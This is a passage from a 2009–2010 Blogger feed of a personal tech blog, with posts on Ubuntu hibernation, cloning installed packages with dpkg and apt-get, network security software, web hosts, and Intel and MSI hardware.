height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-2822135885912465037?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/2822135885912465037/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=2822135885912465037' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/2822135885912465037'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/2822135885912465037'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2010/01/how-to-installing-virtualbox-backtrack.html' title='How to : Installing Virtualbox  Backtrack 4'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_NfiDRHFsGPI/S11F-hXKAaI/AAAAAAAAABk/9byV6P0kI5o/s72-c/backtrack4b_on_virtualbox.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-4819144150589228707</id><published>2010-01-24T23:17:00.000-08:00</published><updated>2010-01-24T23:17:32.457-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Hibernate Your Notebook</title><content type='html'>Sleeping is a good way to pause, but it still uses power. Hibernate mode lets you save the contents of memory to disk so you can resume later on.&lt;br /&gt;&lt;br /&gt;You learned how Ubuntu supports ACPI sleep. However, because ACPI sleep does require a trickle of power to keep the CPU and RAM alive, it may not be desirable in all situations. Hibernate has been designed as the complement to ACPI sleep. It takes the contents of RAM and saves them to the system's swap partition. As a result, it requires absolutely zero power to maintain that hibernated state. There is a downside to hibernating a machine, however. Due to the fact that the system saves the contents of RAM before powering off, and then loads the contents of RAM after the kernel loads on reboot, it does take a fair amount of time to enter and exit the hibernated state. However, hibernating is still faster than powering off and restarting your machine, and there's the added benefit of saving application state.&lt;br /&gt;&lt;br /&gt;Since hibernation saves the exact contents of RAM to your swap partition, the size of your swap partition must be larger than the amount of RAM you have in the machine. Ubuntu configures this automatically if you have done a default installation, but if you override the default partitioner during installation, you need to keep this point in mind.&lt;br /&gt;&lt;br /&gt;Configuring Hibernation&lt;br /&gt;&lt;br /&gt;Since hibernation and sleep are similar and use the underlying Linux ACPI subsystem, they both use gnome-power-manager to configure and control their settings. You can adjust the default type of sleep to be hibernation from within the preferences of gnome-power-manager, but keeping the default set to Suspend makes sense due to the time involved in entering and exiting a hibernated state. If you do decide to adjust this setting, you can right-click on the gnome-power-manager icon, select Preferences, and click on the Options tab&lt;br /&gt;&lt;br /&gt;Using Hibernation&lt;br /&gt;&lt;br /&gt;Now that you have your preferences set how you like them, it's time to test hibernation. Assuming you're using the stock Ubuntu preferences for gnome-power-manager, you'll need to engage hibernation by right-clicking on the gnome-power-manager applet and selecting Hibernate. Once you do, the system will immediately dim the screen, and you should hear a good deal of hard-disk activity. Once the disk stops churning, the system will power off. At this point, the system is in hibernate mode and can be left in this state indefinitely without using any battery power. To exit the hibernated state, simply power on the system normally. The bootloader will come up, and the kernel will boot normally, until it detects a RAM image on the swap partition. At that point, the system will load up the RAM image and should return to where you left it. Typical times to enter hibernation run between 30 seconds and 1 minute, and times to exit hibernation (including the BIOS test) run about the same. Between sleep and hibernation, you have all the great power management capabilities at your disposal.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;If your system is configured to boot multiple operating systems, you need to be careful here. In theory, you should be able to hibernate your Ubuntu system and then boot into a different operating system. But this is fundamentally risky: if you change anything on the Ubuntu partition, you'll be in heaps of trouble. And if you're sharing a swap partition between Ubuntu and another Linux distribution, you'll be in a world of trouble if that other Linux distribution boots up, since it will erase your hibernated state (or may itself try to resume from that hibernated state). Play it safe: if you are hibernated, don't boot into anything except the system you hibernated from. &lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-4819144150589228707?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/4819144150589228707/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=4819144150589228707' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/4819144150589228707'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/4819144150589228707'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2010/01/hibernate-your-notebook.html' title='Hibernate Your Notebook'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-2434170886604912621</id><published>2010-01-03T06:55:00.000-08:00</published><updated>2010-01-03T06:55:19.671-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Ubuntu Clone an Installation</title><content type='html'>Export a list of installed packages on one Ubuntu system, and import them into another to build a duplicate system. &lt;br /&gt;We've installed many different Debian-based distributions over the years, and one thing we've found handy to have is a complete list of packages you have installed. If you want to create a system that is similar to a different system you have already set up, it can be difficult to remember each and every package you had installed. In this hack, we cover a method to export your current package list and import it into a new system.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;This method works best when you are exporting to and importing from the same distribution and, specifically, the same releasefor example, exporting from Ubuntu Dapper to Ubuntu Dapper. Because of the differences in package versions and dependencies across releases, and especially across distributions, you will have substantially more headaches with conflicting packages if you try to export, say, from Ubuntu Breezy to Ubuntu Dapper or, worse, vice versa.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Export the List of Installed Packages&lt;/b&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;The first step in cloning an installation is to grab the complete list of installed packages from the first system. To do so, you basically instruct dpkg to dump its entire list of packages, filter out any packages that aren't currently installed, and then redirect the output to a file:&lt;br /&gt;&lt;br /&gt;$ sudo dpkg --get-selections | grep '[[:space:]]install$' | \\&lt;br /&gt;                 awk '{print $1}' &gt; package_list&lt;br /&gt;            &lt;br /&gt;Next, copy this text file to the destination system over the network, via a USB key or whatever method you prefer. You may also want to copy over the /etc/apt/sources.list file from the base system, since the new system may not have all of the same repositories enabled (if the repositories aren't the same, the destination system may not be able to find some of the packages in the list).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Prepare the Destination System&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Now you need to prepare the destination system. If both systems are running the same release of Ubuntu, this may be as simple as just copying the initial system's /etc/apt/sources.list on top of the one on the current system. Otherwise, if the systems are from different releases, you will want to compare the initial system's sources.list with the /etc/apt/sources.list file on your destination system and see if there are any extra third-party repositories or repository subcategories that need to be enabled.&lt;br /&gt;&lt;br /&gt;Once your sources.list file is settled, update your package list to make sure you get the latest version of the packages:&lt;br /&gt;&lt;br /&gt;$ sudo apt-get update&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Import the Package List&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;To import the package list, pipe the entire list to xargs, which then splits it into manageable chunks for the apt-get command:&lt;br /&gt;&lt;br /&gt;$ cat package_list | xargs sudo apt-get install&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;If you are migrating to a different Ubuntu release, this will require a bit of trial and error, since you will likely get complaints about packages no longer existing. The simple fix for this is to edit the package list and remove the package from the list, save your changes, and then rerun the command. You will likely need to do this a number of times, but eventually you will have a list of valid packages. A more complicated but thorough fix would involve checking the latest list of packages for a potential update or replacement for the package that no longer exists and installing them one by one.&lt;br /&gt;&lt;br /&gt;Once apt-get completes, you are finished. All of the files from the package list will have been imported into the new system. Now keep in mind that this doesn't mean that all of the settings have transferred over. To do that, you will likely need to copy settings from the /etc directory or possibly other directories, depending on the package.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Hacking the Hack&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;It can be rather handy to have a complete list of installed packages for backup and restore purposes. An easy way to automatically generate a complete list is to have a cron job update the list of installed packages every night. To do so, create the following script and save it in /etc/cron.daily/package_list:&lt;br /&gt;&lt;br /&gt;$!/bin/sh&lt;br /&gt;&lt;br /&gt;dpkg --get-selections | grep '[[:space:]]install$' | \\&lt;br /&gt;awk '{print $1}' &gt; /etc/package_list&lt;br /&gt;&lt;br /&gt;Export a list of installed packages on one Ubuntu system, and import them into another to build a duplicate system. &lt;br /&gt;We've installed many different Debian-based distributions over the years, and one thing we've found handy to have is a complete list of packages you have installed. If you want to create a system that is similar to a different system you have already set up, it can be difficult to remember each and every package you had installed. In this hack, we cover a method to export your current package list and import it into a new system.&lt;br /&gt; &lt;br /&gt;This method works best when you are exporting to and importing from the same distribution and, specifically, the same releasefor example, exporting from Ubuntu Dapper to Ubuntu Dapper. Because of the differences in package versions and dependencies across releases, and especially across distributions, you will have substantially more headaches with conflicting packages if you try to export, say, from Ubuntu Breezy to Ubuntu Dapper or, worse, vice versa.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Export the List of Installed Packages&lt;br /&gt;The first step in cloning an installation is to grab the complete list of installed packages from the first system. To do so, you basically instruct dpkg to dump its entire list of packages, filter out any packages that aren't currently installed, and then redirect the output to a file:&lt;br /&gt;$ sudo dpkg --get-selections | grep '[[:space:]]install$' | \\&lt;br /&gt;                 awk '{print $1}' &gt; package_list&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;Next, copy this text file to the destination system over the network, via a USB key or whatever method you prefer. You may also want to copy over the /etc/apt/sources.list file from the base system, since the new system may not have all of the same repositories enabled (if the repositories aren't the same, the destination system may not be able to find some of the packages in the list).&lt;br /&gt;Prepare the Destination System&lt;br /&gt;Now you need to prepare the destination system. If both systems are running the same release of Ubuntu, this may be as simple as just copying the initial system's /etc/apt/sources.list on top of the one on the current system. Otherwise, if the systems are from different releases, you will want to compare the initial system's sources.list with the /etc/apt/sources.list file on your destination system and see if there are any extra third-party repositories or repository subcategories that need to be enabled. (Read "Modify the List of Package Repositories" [Hack #60] for more information on Ubuntu's repositories and how to edit sources.list.)&lt;br /&gt;Once your sources.list file is settled, update your package list to make sure you get the latest version of the packages:&lt;br /&gt;$ sudo apt-get update&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Import the Package List&lt;br /&gt;To import the package list, pipe the entire list to xargs, which then splits it into manageable chunks for the apt-get command:&lt;br /&gt;$ cat package_list | xargs sudo apt-get install&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;If you are migrating to a different Ubuntu release, this will require a bit of trial and error, since you will likely get complaints about packages no longer existing. The simple fix for this is to edit the package list and remove the package from the list, save your changes, and then rerun the command. You will likely need to do this a number of times, but eventually you will have a list of valid packages. A more complicated but thorough fix would involve checking the latest list of packages for a potential update or replacement for the package that no longer exists and installing them one by one.&lt;br /&gt;Once apt-get completes, you are finished. All of the files from the package list will have been imported into the new system. Now keep in mind that this doesn't mean that all of the settings have transferred over. To do that, you will likely need to copy settings from the /etc directory or possibly other directories, depending on the package.&lt;br /&gt;Hacking the Hack&lt;br /&gt;It can be rather handy to have a complete list of installed packages for backup and restore purposes. An easy way to automatically generate a complete list is to have a cron job update the list of installed packages every night. To do so, create the following script and save it in /etc/cron.daily/package_list:&lt;br /&gt;$!/bin/sh&lt;br /&gt;&lt;br /&gt;dpkg --get-selections | grep '[[:space:]]install$' | \\&lt;br /&gt;  awk '{print $1}' &gt; /etc/package_list&lt;br /&gt;&lt;br /&gt;Now make the script executable:&lt;br /&gt;&lt;br /&gt;$ sudo chmod a+x /etc/cron.daily/package_list&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;This /etc/package_list file can then be backed up with the rest of your system settings. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-2434170886604912621?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/2434170886604912621/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=2434170886604912621' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/2434170886604912621'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/2434170886604912621'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2010/01/ubuntu-clone-installation.html' title='Ubuntu Clone an Installation'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-1852610091471876091</id><published>2010-01-03T06:47:00.000-08:00</published><updated>2010-01-03T06:47:29.073-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>Computer Network Security Software</title><content type='html'>&lt;b&gt;Network security threat&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Network_security" target="_blank"&gt;Network security&lt;/a&gt; threat &lt;br /&gt;&lt;br /&gt;Network security threat is one of the major concerns for all online businesses today. As soon as the computer software was produced the hackers set off on their task of destroying software. In networks the more important thing than software is the data as the data contain sensitive information. Hackers send their programs to either destroy the data bases or steal data. Both are equally dreaded by network administrators.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Network security threat&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;To avert network security threat, the software companies have come out with software which is able to locate intruding software and prevent them from accessing data bases. To use this software special training should be provided to network administrators. A network security course conducted by professionals for the network administrators will be of immense value for the security of the network.&lt;br /&gt;As the viruses and other programs used by hackers are posing a continuous network security threat, the knowledge of network administrators need to be updated continuously. As such a network security course at regular intervals is the way to avert network security vulnerability.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;There are various software programs produced by many software companies such as Norton antivirus, AVG. Kaspersky, and McAfee. These software companies are updating their software at regular intervals, as the hackers learn about the software as soon as an update is released. Then they make viruses and other programs to beat the particular software. When the Computer network security software companies come to know that, they make an update to beat the malware. This goes on in a vicious cycle. The poor network managers suffer most, for no fault of theirs, trying to cope with all these Network security threats, all because of the network security vulnerability of their net works.&lt;br /&gt;Once the proper software is installed, timely updates are arranged and the necessary training given to the administrators, a network could run with out much security threat.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-1852610091471876091?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/1852610091471876091/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=1852610091471876091' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/1852610091471876091'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/1852610091471876091'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2010/01/computer-network-security-software.html' title='Computer Network Security Software'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-514575686258920080</id><published>2010-01-03T06:44:00.000-08:00</published><updated>2010-01-03T06:44:28.625-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Anonymouses'/><title type='text'>Best web hosting sites</title><content type='html'>&lt;a href="http://en.wikipedia.org/wiki/Web_hosting" target="_blank"&gt;Web hosting&lt;/a&gt; is now widely used of netter to introduce their web commercial nette, lot from year to year using good web hosting service is paid or for free, and many benefits if we use the web-hosting, some of which we become more web easy to remember, unique and certainly more commercially profitable. &lt;br /&gt;technically, the use of web hosting can be seen from some of the features available, because many web hosting providers that offer additional features such as relatively low prices, large disk space, usage period and warranty service, even free web hosting providers even dare to compete with providers are paid, our living choices. &lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Through this website, the netter can choose web hosting providers the most demanding of the world, best 10 web hosting sites that dare to compete provided from various sides, ranging from price, how to setup, domain, disk space, money back, and the usage period . &lt;br /&gt;Through this website explained that the list of top web hosting is the most widely sought after by netter, affordable prices is one reason why the netter choose one of the ten web hosting these sites. &lt;br /&gt;how about you? are already interested in using the best web hosting around the world to introduce your personal website? &lt;br /&gt;The 10 top web hosting sites are among others BlueHost, JustHost, inmotion hosting, HostMonster, fatcow, supergreen, HostGator, 1and1, GoDaddy, and the last isyahoo web hosting, good luck&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-514575686258920080?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/514575686258920080/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=514575686258920080' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/514575686258920080'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/514575686258920080'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2010/01/best-web-hosting-sites.html' title='Best web hosting sites'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-268065979043572437</id><published>2009-12-02T05:12:00.000-08:00</published><updated>2009-12-02T05:14:04.934-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hardware'/><title type='text'>Intel® Core™2 Extreme quad-core processor</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_NfiDRHFsGPI/SxZn09LauOI/AAAAAAAAABY/ZSVwaRQNpFA/s1600-h/intel.jpeg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 103px; height: 121px;" src="http://2.bp.blogspot.com/_NfiDRHFsGPI/SxZn09LauOI/AAAAAAAAABY/ZSVwaRQNpFA/s320/intel.jpeg" border="0" alt=""id="BLOGGER_PHOTO_ID_5410626161805539554" /&gt;&lt;/a&gt;&lt;br /&gt;Intel® Core™2 Extreme quad-core processor&lt;br /&gt;When more is better—with four processing cores the Intel Core 2 Extreme processor delivers unrivaled¹ performance for the latest, greatest generation of multi-threaded games and multimedia apps.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Recently with a new version based on Intel's cutting edge 45nm technology utilizing hafnium-infused circuitry to deliver even greater performance and power efficiency. The Intel® Core™2 Extreme processor QX9770 running at 3.2 GHz delivers the best possible experience for future's most demanding users.&lt;br /&gt;&lt;br /&gt;* 12 MB of total L2 cache&lt;br /&gt;* 1600 MHz front side bus &lt;br /&gt;&lt;br /&gt;souces &lt;a href="http://processor.tk" target="_blank"&gt;processor.tk&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-268065979043572437?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/268065979043572437/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=268065979043572437' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/268065979043572437'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/268065979043572437'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2009/12/intel-core2-extreme-quad-core-processor.html' title='Intel® Core™2 Extreme quad-core processor'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_NfiDRHFsGPI/SxZn09LauOI/AAAAAAAAABY/ZSVwaRQNpFA/s72-c/intel.jpeg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-8217366884011600615</id><published>2009-12-02T04:57:00.000-08:00</published><updated>2009-12-02T05:09:51.101-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hardware'/><title type='text'>Affordable Solutions Platform Motherboard Nehalem</title><content type='html'>When we hear the term socket LGA1366 Nehalem platform will dibenak looming we are high-end platform with exorbitant prices. This time MSI will change that perception with the release of a chipset motherboards to X58, but with a relatively affordable price, the X58 Pro-E.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_NfiDRHFsGPI/SxZk9E3JltI/AAAAAAAAAA4/aODZstw6CY0/s1600-h/msi_pro-e_box.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 213px; height: 320px;" src="http://2.bp.blogspot.com/_NfiDRHFsGPI/SxZk9E3JltI/AAAAAAAAAA4/aODZstw6CY0/s320/msi_pro-e_box.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5410623002772084434" /&gt;&lt;/a&gt;&lt;br /&gt;Despite the cheap price, facilities provided this motherboard was quite complete, such as features ATI Crossfire-X, Triple Channel DDR3 1066, BlueRay True Audio Realtek ALC889, and others. Of course, do not forget to include the MSI specific features of their products, namely DrMOS with three main advantages of GreenPower for power consumption more efficient. Featured XpressCool makes the chipset cooler and RapidBoost that offer stability in overclocking.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_NfiDRHFsGPI/SxZlq3C7_aI/AAAAAAAAABA/hA0negYttJs/s1600-h/msi_pro-e_dr.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 250px; height: 167px;" src="http://3.bp.blogspot.com/_NfiDRHFsGPI/SxZlq3C7_aI/AAAAAAAAABA/hA0negYttJs/s320/msi_pro-e_dr.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5410623789337410978" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;In the test session using a test bed CHIP processors (Core i7 965), this motherboard shows a very good performance. Testing the daily application of simulated with the application Sysmark 2007, this motherboard produce a high enough score and satisfactory. Likewise with games testing, tests conducted indicate that this motherboard can run stable without any problems.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_NfiDRHFsGPI/SxZmMHi2wrI/AAAAAAAAABI/7kxmXC6XeOk/s1600-h/msi_pro-e_panels.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 250px; height: 185px;" src="http://3.bp.blogspot.com/_NfiDRHFsGPI/SxZmMHi2wrI/AAAAAAAAABI/7kxmXC6XeOk/s320/msi_pro-e_panels.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5410624360701936306" /&gt;&lt;/a&gt;&lt;br /&gt;If want more performance, MSI EasyOC Switch features include useful for users who want a system for the overclock, without passing through the BIOS settings are quite complex. But for users who are more advanced overclocking knowledge, this feature will not be used.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_NfiDRHFsGPI/SxZmiYiH2zI/AAAAAAAAABQ/IMbnttESDxc/s1600-h/msi_pro-e_kelengkapan.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 250px; height: 181px;" src="http://1.bp.blogspot.com/_NfiDRHFsGPI/SxZmiYiH2zI/AAAAAAAAABQ/IMbnttESDxc/s320/msi_pro-e_kelengkapan.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5410624743219387186" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Conclusion&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This motherboard is suitable for users who want to build a Nehalem platform with a limited budget. Pair for this motherboard is the Core i7 920, only with a few tweaks that can be done, the performance of this system will pass the high end systems that cost much more.&lt;br /&gt;&lt;br /&gt;source &lt;a href="http://chip.co.id" target="_blank"&gt;chip.co.id&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-8217366884011600615?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/8217366884011600615/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=8217366884011600615' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/8217366884011600615'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/8217366884011600615'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2009/12/affordable-solutions-platform.html' title='Affordable Solutions Platform Motherboard Nehalem'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_NfiDRHFsGPI/SxZk9E3JltI/AAAAAAAAAA4/aODZstw6CY0/s72-c/msi_pro-e_box.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-8909160688408163570</id><published>2009-11-14T07:28:00.000-08:00</published><updated>2009-11-14T07:31:05.018-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><title type='text'>Tutorial Microsoft Data Access Components</title><content type='html'>The Microsoft® Data Access Components (MDAC) SDK documents the key technologies that are part of Microsoft's strategy for providing access to information across the enterprise.&lt;br /&gt;&lt;br /&gt;Microsoft Data Access Components include ActiveX® Data Objects (ADO), OLE DB, and Open Database Connectivity (ODBC). Data-driven client/server applications deployed over the Web or a LAN can use these components to easily integrate information from a variety of sources, both relational (SQL) and non-relational.&lt;br /&gt;If you have questions or need detailed information about properly redistributing MDAC, see Redistributing MDAC for a description of the distribution requirements for MDAC.&lt;br /&gt;&lt;br /&gt;ActiveX Data Objects (ADO)&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Microsoft ActiveX Data Objects (ADO) provides consistent, high-performance access to data and supports a variety of development needs, including the creation of front-end database clients and middle-tier business objects that use applications, tools, languages, or Internet browsers. The primary benefits of ADO are ease of use, high speed, low memory overhead, and a small disk footprint.&lt;br /&gt;ADO provides an easy-to-use interface to OLE DB, which provides the underlying access to data. It uses a familiar metaphor — the COM Automation interface — available from all leading Rapid Application Development (RAD) tools, database tools, and languages.&lt;br /&gt;&lt;br /&gt;OLE DB&lt;br /&gt;&lt;br /&gt;Microsoft OLE DB is a set of interfaces that expose data from a variety of relational and nonrelational sources by using the Component Object Model (COM). OLE DB interfaces provide applications with uniform access to data stored in diverse information sources. These interfaces support the amount of DBMS functionality appropriate to the data store, enabling the data store to share its data.&lt;br /&gt;OLE DB comprises a programmatic model consisting of data providers, which contain and expose data; data consumers, which use data; and service components, which process and transport data (such as query processors and cursor engines). In addition, OLE DB includes a bridge to ODBC to enable continued support for the broad range of ODBC relational database drivers.&lt;br /&gt;&lt;br /&gt;Open Database Connectivity (ODBC)&lt;br /&gt;&lt;br /&gt;The Microsoft Open Database Connectivity (ODBC) interface makes it possible for 